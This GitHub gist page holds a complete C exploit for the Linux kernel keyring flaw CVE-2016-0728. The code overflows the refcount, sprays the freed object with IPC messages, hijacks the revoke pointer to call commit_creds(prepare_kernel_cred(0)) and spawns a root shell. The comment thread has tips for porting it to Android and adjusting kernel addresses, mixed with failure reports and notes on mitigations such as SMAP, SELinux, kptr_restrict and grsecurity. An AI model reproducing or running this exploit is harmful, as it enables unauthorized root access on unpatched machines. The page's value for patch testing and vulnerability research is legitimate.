| /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */ | |
| /* $ ./cve_2016_072 PP_KEY */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/types.h> | |
| #include <keyutils.h> | |
| #include <unistd.h> | |
| #include <time.h> | |
| #include <unistd.h> | |
| #include <sys/ipc.h> | |
| #include <sys/msg.h> | |
| typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | |
| typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | |
| _commit_creds commit_creds; | |
| _prepare_kernel_cred prepare_kernel_cred; | |
| #define STRUCT_LEN (0xb8 - 0x30) | |
| #define COMMIT_CREDS_ADDR (0xffffffff81094250) | |
| #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550) | |
| struct key_type { | |
| char * name; | |
| size_t datalen; | |
| void * vet_description; | |
| void * preparse; | |
| void * free_preparse; | |
| void * instantiate; | |
| void * update; | |
| void * match_preparse; | |
| void * match_free; | |
| void * revoke; | |
| void * destroy; | |
| }; | |
| void userspace_revoke(void * key) { | |
| commit_creds(prepare_kernel_cred(0)); | |
| } | |
| int main(int argc, const char *argv[]) { | |
| const char *keyring_name; | |
| size_t i = 0; | |
| unsigned long int l = 0x100000000/2; | |
| key_serial_t serial = -1; | |
| pid_t pid = -1; | |
| struct key_type * my_key_type = NULL; | |
| struct { long mtype; | |
| char mtext[STRUCT_LEN]; | |
| } msg = {0x4141414141414141, {0}}; | |
| int msqid; | |
| if (argc != 2) { | |
| puts("usage: ./keys <key_name>"); | |
| return 1; | |
| } | |
| printf("uid=%d, euid=%d\n", getuid(), geteuid()); | |
| commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; | |
| prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; | |
| my_key_type = malloc(sizeof(*my_key_type)); | |
| my_key_type->revoke = (void*)userspace_revoke; | |
| memset(msg.mtext, 'A', sizeof(msg.mtext)); | |
| // key->uid | |
| *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ | |
| //key->perm | |
| *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; | |
| //key->type | |
| *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; | |
| if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
| perror("msgget"); | |
| exit(1); | |
| } | |
| keyring_name = argv[1]; | |
| /* Set the new session keyring before we start */ | |
| serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); | |
| if (serial < 0) { | |
| perror("keyctl"); | |
| return -1; | |
| } | |
| if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { | |
| perror("keyctl"); | |
| return -1; | |
| } | |
| puts("Increfing..."); | |
| for (i = 1; i < 0xfffffffd; i++) { | |
| if (i == (0xffffffff - l)) { | |
| l = l/2; | |
| sleep(5); | |
| } | |
| if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { | |
| perror("keyctl"); | |
| return -1; | |
| } | |
| } | |
| sleep(5); | |
| /* here we are going to leak the last references to overflow */ | |
| for (i=0; i<5; ++i) { | |
| if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { | |
| perror("keyctl"); | |
| return -1; | |
| } | |
| } | |
| puts("finished increfing"); | |
| puts("forking..."); | |
| /* allocate msg struct in the kernel rewriting the freed keyring object */ | |
| for (i=0; i<64; i++) { | |
| pid = fork(); | |
| if (pid == -1) { | |
| perror("fork"); | |
| return -1; | |
| } | |
| if (pid == 0) { | |
| sleep(2); | |
| if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
| perror("msgget"); | |
| exit(1); | |
| } | |
| for (i = 0; i < 64; i++) { | |
| if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { | |
| perror("msgsnd"); | |
| exit(1); | |
| } | |
| } | |
| sleep(-1); | |
| exit(1); | |
| } | |
| } | |
| puts("finished forking"); | |
| sleep(5); | |
| /* call userspace_revoke from kernel */ | |
| puts("caling revoke..."); | |
| if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { | |
| perror("keyctl_revoke"); | |
| } | |
| printf("uid=%d, euid=%d\n", getuid(), geteuid()); | |
| execl("/bin/sh", "/bin/sh", NULL); | |
| return 0; | |
| } |
dkhabarov
commented
Jan 19, 2016
|
For ubuntu/debian install libkeyutils-dev |
bactis
commented
Jan 19, 2016
|
Trying to compile for android, on OSX. Using the command ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk getting this error Android.mk file contents are below include $(CLEAR_VARS) LOCAL_SRC_FILES := LOCAL_MODULE := cve_2016_0728 include $(BUILD_STATIC_EXECUTABLE) include $(BUILD_EXECUTABLE) include $(call all-makefiles-under,$(LOCAL_PATH)) |
ghost
commented
Jan 19, 2016
|
Kernel already has some protection against this (not allowing kernel symbols to be read from non-root users). Making the attack surfuce lower. Problem is that by default it's turned off. See the Arch Wiki for more information: https://wiki.archlinux.org/index.php/security#Restricting_access_to_kernel_pointers_in_the_proc_filesystem |
clandestine4
commented
Jan 19, 2016
|
someone tested in redhat distros ? |
zhuowei
commented
Jan 19, 2016
|
@bactis it looks like Android's Bionic libc doesn't have a wrapper for keyctl (https://github.com/android/platform_bionic/search?utf8=%E2%9C%93&q=keyctl), so you might have to use the syscall() call to invoke it directly. You can get the constant values by including |
benpro
commented
Jan 19, 2016
How many time this should take? |
caioluders
commented
Jan 19, 2016
|
@benpro "the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU" |
1lastBr3ath
commented
Jan 19, 2016
|
Is it Okay if I compile it using one system, and run it in another? |
P4z
commented
Jan 19, 2016
|
correct me if I'm wrong
4294967292ms x 5 / 1000 / 60 / 60 = 5965 min |
Dasoren
commented
Jan 19, 2016
|
"For ubuntu/debian install libkeyutils-dev" If i do not install this, will this attack still work? or is this just because the this program needs that lib, but an attacker could include it another way? |
favoretti
commented
Jan 19, 2016
|
@P4z: sleep hits only |
lenisko
commented
Jan 19, 2016
|
@Dasoren It's used only to compile... not to run. |
Dasoren
commented
Jan 19, 2016
|
thank you @lenisko would there be any issue with running this on my systems, aka would anything bad happen? Running Ubuntu 14.04 |
Atothendrew
commented
Jan 19, 2016
|
I can't seem to get this to compile on CentOS 7 kernel version
This is with the latest |
Grazfather
commented
Jan 19, 2016
|
@Atothendrew your libc doesn't have the syscall wrapper. Look into manually making the syscalls with |
strazzere
commented
Jan 19, 2016
|
@bactis @zhuowei something like this could potentially work
|
tuxayo
commented
Jan 19, 2016
|
On Antergos (an out of the box Arch Linux) the resulting shell doesn't have root privileges. |
P4z
commented
Jan 19, 2016
|
@favoretti obviously… Following @emansom comment it seems like sysctl -w kernel/kptr_restrict=1 defends against this. |
bweston92
commented
Jan 19, 2016
|
@Ragora "Linux kernal 3.8 and higher" |
Ragora
commented
Jan 19, 2016
|
@bweston92 I misread something altogether then, awesome. In either case, at least I know this box definitely isn't afflicted. |
Efreak
commented
Jan 19, 2016
|
@bactis @strazzere I'm trying to do the same thing. I'm using this source, which seems to be properly modified, but I'm getting errors about includes. I copied keyutils.h into the local directory to solve the first include issue, but it wants sys/msg.h as well. Is there a way to tell the NDK to give me access to these files? (I have very little experience with c and compiler instructions, and even less with android). Any quick things that I'm missing? I also tried compiling directly with the armeabi, but that gave other issues. |
Tomekku
commented
Jan 19, 2016
|
@tuxayo same on Linux Mint |
bactis
commented
Jan 19, 2016
|
@zhuowei thank you! got it to compile |
strazzere
commented
Jan 19, 2016
|
You can just copy them locally and include them with "sys/msg.h" style opposed to <sys/msg.h>. I just ripped out the structs and defines needed and put them into an accompanying file since that is all that was actually needed. |
bactis
commented
Jan 19, 2016
|
@Efreak I just made a /sys dir and put this in there
ifndef SYS_MSG_Hdefine SYS_MSG_Hinclude <linux/msg.h>endif /* SYS_MSG_H */ |
maffblaster
commented
Jan 20, 2016
|
@ironiridis Thanks! |
jccultima123
commented
Jan 20, 2016
|
I'd be happy if Red Star OS would work this flawlessly |
Efreak
commented
Jan 20, 2016
|
@bactis @strazzere thanks! |
brick713
commented
Jan 20, 2016
|
i use it but look like this
@bactis @strazzere what i should do? |
HackIT
commented
Jan 20, 2016
|
Linux-4.1.12 |
0xcrypto
commented
Jan 20, 2016
|
keyctl won't work on android? |
whoozle
commented
Jan 20, 2016
|
does not work on gentoo linux-4.3.3 |
strazzere
commented
Jan 20, 2016
|
@brick713 what I posted was for a specific android device I was testing on - you'll need to ensure the syscall's are correct for whatever 'kali-cloud' is |
dbegit
commented
Jan 20, 2016
|
Doesn't work on centos 6.6 i386. [user@WKSEDI113 tmp]$ ./cve_2016_0728 PP1 |
imdadvs
commented
Jan 20, 2016
|
The exploit code doesn't work even after changing the addresses of commit_creds_addr and prepare_kernel_cred |
Shailishefalisingh
commented
Jan 20, 2016
|
s@s:~/Desktop$ ./cve_2016_0728 PP1 Did not work out on ubuntu 12.04 .. kernal 3.13.0-74-generic |
chelaxe
commented
Jan 20, 2016
|
sudo apt-get install libkeyutils-dev Did not work out on ubuntu 14.04 .. kernal 3.13.0-74-generic |
lathspell
commented
Jan 20, 2016
|
I, too, only get shells with my own UID. Is this because the exploit programm is the only one with a key named PP_KEY? Where could I find the key names of programs running as root? |
kernux
commented
Jan 20, 2016
|
Can you tell me the system you used? I can't get root in my system. |
s0919202530
commented
Jan 20, 2016
|
@strazzere cve_2016_0728.c: In function ‘main’: |
linuxdevel
commented
Jan 20, 2016
|
./cve_2016_0728 PP_KEY $ uname -a Does not work out on Linux Mint 17 |
mastier
commented
Jan 20, 2016
|
Someone could explain the PP_KEY parameter ? any references , please ? |
jmboris
commented
Jan 20, 2016
|
Archlinux , Does not work out on Arch :) uid=1000, euid=1000 sh-4.3$ uname -r |
arogarth
commented
Jan 20, 2016
|
Does not work on ubuntu/trusty64
|
Shailishefalisingh
commented
Jan 20, 2016
|
how is it working in some cases explain please |
ruyrybeyro
commented
Jan 20, 2016
|
Does it affect kernel 4.3 and up? |
bernardocout
commented
Jan 20, 2016
|
Hi guys! I was trying to use this exploit on OpenSuse but it stay on "Increfing..." and nothing happen. 4.1.13-5-default Any idea? |
tuxayo
commented
Jan 20, 2016
|
After 27min on Debian 8 on a Pentium 4@3.00GHz, it fails with:
edit: second try, after 80 min. |
tuxayo
commented
Jan 20, 2016
|
@bernardocout
To help you to compare with your hardware, it's a 3GHz recent processor and the exploit uses one thread |
bernardocout
commented
Jan 20, 2016
|
@tuxayo thanks! Now I got the same error than you: keyctl: Disk quota exceeded I was reading that is because the user (not root) has a limited quote, he can't use all the disk, or something like that. |
sunnyjiang
commented
Jan 20, 2016
|
Does anyone get the result on Android? how to compile successfully? |
tommy-dong
commented
Jan 20, 2016
|
pls refer to the zhouwei's solution, try syscall... |
b4ldr
commented
Jan 20, 2016
|
couldn't get it to work on ubuntu 14.04 $ uname -a
Linux server 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ ./cve_2016_0728 PP1
uid=1109, euid=1109
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1109, euid=1109Anyone know what i may be doing wrong. What should the PP_KEY value be? i have tried PP_KEY and PP1 and neither produced a root shell. should i be using a value that already exists in /proc/keys or is this value arbitrary? |
itwesley
commented
Jan 20, 2016
|
line 2, missing the '8' (/* $ ./cve_2016_072 PP_KEY */) |
oliveiraev
commented
Jan 20, 2016
gkarthik16
commented
Jan 20, 2016
cdownschrome
commented
Jan 20, 2016
|
If you check: You will see it created the key. However if you check this - example: It's probably not going to work because SMAP ( Supervisor Mode Access Prevention ) is enabled within the running kernel. Which will only trigger /bin/sh with the current UID. Hence in the release doc -- |
ohdns
commented
Jan 20, 2016
|
Has anyone managed to make this work on CentOS 7? If so, does it still work if you use I do see smaps
|
toxeek
commented
Jan 20, 2016
|
For those who wonder why it's not working on your Ubuntu (or other distributions) check for things like unattended-upgrades (see the logs), etc. |
toxeek
commented
Jan 20, 2016
|
not a bad idea to check, |
AlexRomanovIV
commented
Jan 20, 2016
|
Sorry guys, my old laptop with CentOS 7 burned after 40 mins of "Increfing..." xD |
SleepProgger
commented
Jan 20, 2016
|
The vulnerability affects any Linux Kernel version 3.8 and higher. |
ohdns
commented
Jan 20, 2016
|
The examples I see here are 3.8 and higher. |
martarek
commented
Jan 20, 2016
|
@SleepProgger It seems to be a typo because everywhere else on the blog says 3.18
So far I obtained :
It seems that line 80
Fails with a bad address. Any leads? EDIT : On second thought, this exploit seems to be made for a x64 system (as seen from the define at the very beginning). It might require more work to find the proper offsets, especially for
which I am trying to figure out what it stands for. EDIT #2 : Found on the blog. |
s4per
commented
Jan 20, 2016
|
Debian: |
terrywang
commented
Jan 21, 2016
limkokhole
commented
Jan 21, 2016
|
It doesn't work. [xiaobai@xiaobai tmp]$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall |
hacktvist
commented
Jan 21, 2016
|
Didn't worked on Ubuntu 14.04 with kernel 3.13.0-43-generic, below is the output. test@falcon:~$ ./cve_2016_0728 PP_KEY |
sunnyjiang
commented
Jan 21, 2016
|
According to @zhouwei @strazzere advice, include keyutils.h file , use ndk compiled successfully. Please refer to the url. https://raw.githubusercontent.com/sunnyjiang/cve_2016_0728/master/cve_2016_0728 But it can't get root privilege in some Android devices. And some may get error: msgget: Function not implemented |
jehuamanna
commented
Jan 21, 2016
|
dint work.fedora 22 $ ./test_2016_0728 -PP1 |
2opremio
commented
Jan 21, 2016
|
Uhm, strange …. my testing system (a Ubuntu VM) seems to have SMAP enabled ( BTW, for those who didn't get it to work, make sure to adapt the static addresses to what's shown in EDIT: Although it was enabled in the kernel, the VM's cpu doesn't support SMAP ( |
2opremio
commented
Jan 21, 2016
|
@cdownschrome @ohdns Having
Also, make sure to adapt the static addresses to what's shown in |
cdownschrome
commented
Jan 21, 2016
|
@2opremio My cpu does not support smap. The default Kali Kernel has SMAP enabled. I have set my commit_creds | prepare_kernel_cred accordingly ( I should have written that / of course with 0x hex prefix ). I have also tried booting and modifying grub to nosmep | nosmap. Obviously my CPU does not support it regardless but why not. root@eben: Now running the exploit -- define COMMIT_CREDS_ADDR (0xffffffff8108e270)define PREPARE_KERNEL_CREDS_ADDR (0xffffffff8108e530)10:05:02-cdowns@eben: Thanks ! |
cdownschrome
commented
Jan 21, 2016
|
@2opremio |
matlink
commented
Jan 21, 2016
|
@2opremio how to get |
zhuowei
commented
Jan 21, 2016
|
@bactis @strazzere @sunnyjiang Many modern Android devices (such as Nexus 7 2013, Nexus 6, Nexus 5, and probably others) disable SysV IPC support (msgget, etc) from the kernel, so one would need to find an alternate way to take advantage of the use-after-free. Do you have any ideas? (For example, the linked presentation from the PingPongRoot authors showed two methods: the simpler method of using sendmmsg to allocate the memory can probably be adapted easily for this) See https://www.google.ca/search?q=Remove+SysV+IPC+from+kernel+site:android.googlesource.com (I think all Nexus devices have SysV IPC disabled) Also note that 64-bit Android devices would need a ROP chain in the kernel because they implement something similar to SMEP (see https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back.pdf ) @matlink |
matlink
commented
Jan 21, 2016
|
@zhuowei oh yes you're right. And do you know what is |
shane1027
commented
Jan 21, 2016
|
@2opremio Doesn't seem to work on Arch 4.2.5, and yes I changed my static addresses: shane@archie ~ cat /proc/cpuinfo | egrep -i "model|smap" | sort | uniq ./arch_linux PP1 Got to the shell in less than 20 minutes, but normal privileges! |
zhuowei
commented
Jan 21, 2016
|
@matlink I'm not too sure: It's just the name of the key to be created; passing in any string should work; PerceptionPoint's blog post used PP1 as the key name. |
matlink
commented
Jan 21, 2016
|
you could add progression status (like https://gist.github.com/matlink/e92b4cd522df178bf23f#file-cve_2016_0728-c-L103) |
birdstream
commented
Jan 21, 2016
|
I managed to get a working arm executable by doing a cross compile and also linked it statically to the keyutils library (had to compile that from source too, naturally). I used the code above unmodified. The compiler threw some warnings but finished compile thou. The file ended up being ~600kb. Running it on my samsung galaxy s4 seems to take forever so i really cant say whether it actuallty does what it is supposed to. But what i can see is that cat /proc/keys reveals that the key is actuallu generated. But refcount isnt changing.. is this because the kernel is 3.4.0 or did i mess up..! |
zhuowei
commented
Jan 21, 2016
|
On my Nexus 6P (Android 6.0.1) SELinux prevents the PoC from working:
in dmesg
Edit: Android 5.0 moved untrusted_app to enforcing in SELinux, so this denial should happen on all devices running Lollipop and above. (On Android 6.0 The only two executables that can access keyctl are init and vold, both of which are already running as root anyways) |
birdstream
commented
Jan 21, 2016
|
@zhuoweu my Galaxy S4 runs android 5.0.1 but i dont get permission denied. Like i wrote earlier the key appears to be created but refcount does not change... |
nardholio
commented
Jan 22, 2016
|
@birdstream kernel 3.4 is not affected |
2opremio
commented
Jan 22, 2016
|
@matlink You need to be root to read |
nilsmeyer
commented
Jan 22, 2016
|
Apart from the strange looking code (tabs and spaces mix-up perhaps?), I have yet to see a system where this exploit actually works. Either it is broken or this is all FUD. |
birdstream
commented
Jan 22, 2016
|
@nardholio I'm aware of that. But the difference is that on my Ubuntu desktop i could see the refcount go up (but still did not get root access in the end though). On my phone however it was only referenced 3 times and then the process ended up getting the D state... So i'm wondering if that is to be expected or i messed up when compiling it? There were some warning about regparm being ignored and some "spill on implicit...". But it did produce a working ARM binary |
nicStuff
commented
Jan 22, 2016
|
Is it safe to run this PoC in production environment for checking if the patch has been applied? |
petermaloney
commented
Jan 22, 2016
|
With kernel 4.1.6 and grsecurity, not exploitable via overflow (but still leaks) :) $ ./cve_2016_0728 123 [701688.047029] PAX: refcount overflow detected in: cve_2016_0728:15567, uid/euid: 1000/1000 |
dac4755
commented
Jan 22, 2016
|
There were earlier comments on the time it takes to run. I have built the poc code for my S4 and I added a counter so I can make a rough estimate on how long it will take to perform the increfing loop. It's looking like it will take over 100 days. Has anyone actually run the poc on an android device? If so, how long did it take to run even if it didn't get root? I'm trying to figure out if I'm doing something wrong or if the exploit isn't practical at least on older devices. thanks, |
hidefromkgb
commented
Jan 23, 2016
|
Doesn`t work on Arch Linux:
|
birdstream
commented
Jan 24, 2016
|
@dac4755 did your process spend most of it's time in the D-state, using just about 1% cpu? it did on mine but im not sure i compiled it right.. got some warnings. Mine is also an S4... |
oneno
commented
Jan 24, 2016
|
Getting the following error when try to build in manjaro 4.1: ||=== Build: Debug in exploit (compiler: GNU GCC Compiler) ===| |
dac4755
commented
Jan 24, 2016
|
@birdstream, It was cranking away, just really slowly. I added a counter for every 1000 iterations and it was taking 3-5 seconds. In contrast, on a Linux VM it cranked through the entire refcount loop in a reasonable time (I think it was 5 to 10 minutes). |
daviribeiro
commented
Jan 25, 2016
|
Doesn't work on Kali Linux in compile time. Needs keyutils pack to compile. |
QkiZMR
commented
Jan 25, 2016
|
I'm trying to compile it and nothing happen. Binary is not created. |
Afteroot
commented
Jan 26, 2016
|
Dont Work on: |
tfroidcoeur
commented
Jan 27, 2016
|
I don't quite understand how the refcount ends at 0: so the refcount ends at 2 after wrapping around? |
snorez
commented
Jan 28, 2016
itmox
commented
Jan 28, 2016
|
@mah0ne, could you provide your changed code? |
snorez
commented
Jan 28, 2016
|
@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,
|
itmox
commented
Jan 28, 2016
|
@mah0ne how did you deactivate smap and smep? Thanks. |
snorez
commented
Jan 29, 2016
|
@itmox I recompile the kernel, |
vnavin4
commented
Feb 10, 2016
|
Don't work on "Oracle Linux Server 6.7" [tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1 |
gqbnm0
commented
Feb 11, 2016
no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
|
niubl
commented
Feb 17, 2016
|
i use @mah0ne 's kernel number and success to exploit. |
idlefire
commented
Apr 26, 2016
|
Deletion keyutils.h, who can give me a document. |
dpproduction
commented
Jun 7, 2016
|
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1 [+] Finished increfing Whats wrong ? |
dpproduction
commented
Jun 7, 2016
|
So I compiled the latest version and get the same result |
MatanTubul
commented
Dec 28, 2016
|
i got the following error in android 7.1.1 in nexus6p: "/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file" |
MatanTubul
commented
Dec 28, 2016
|
@bactis can you please publish your final exploit including the make file? |
MatanTubul
commented
Dec 29, 2016
•
|
@bactis
|
MatanTubul
commented
Dec 29, 2016
•
|
@bactis
|
ofnothinghere
commented
Feb 18, 2017
|
Linux-4.1.12
|





ironiridis commentedJan 19, 2016
For those testing on Gentoo, you may need to do: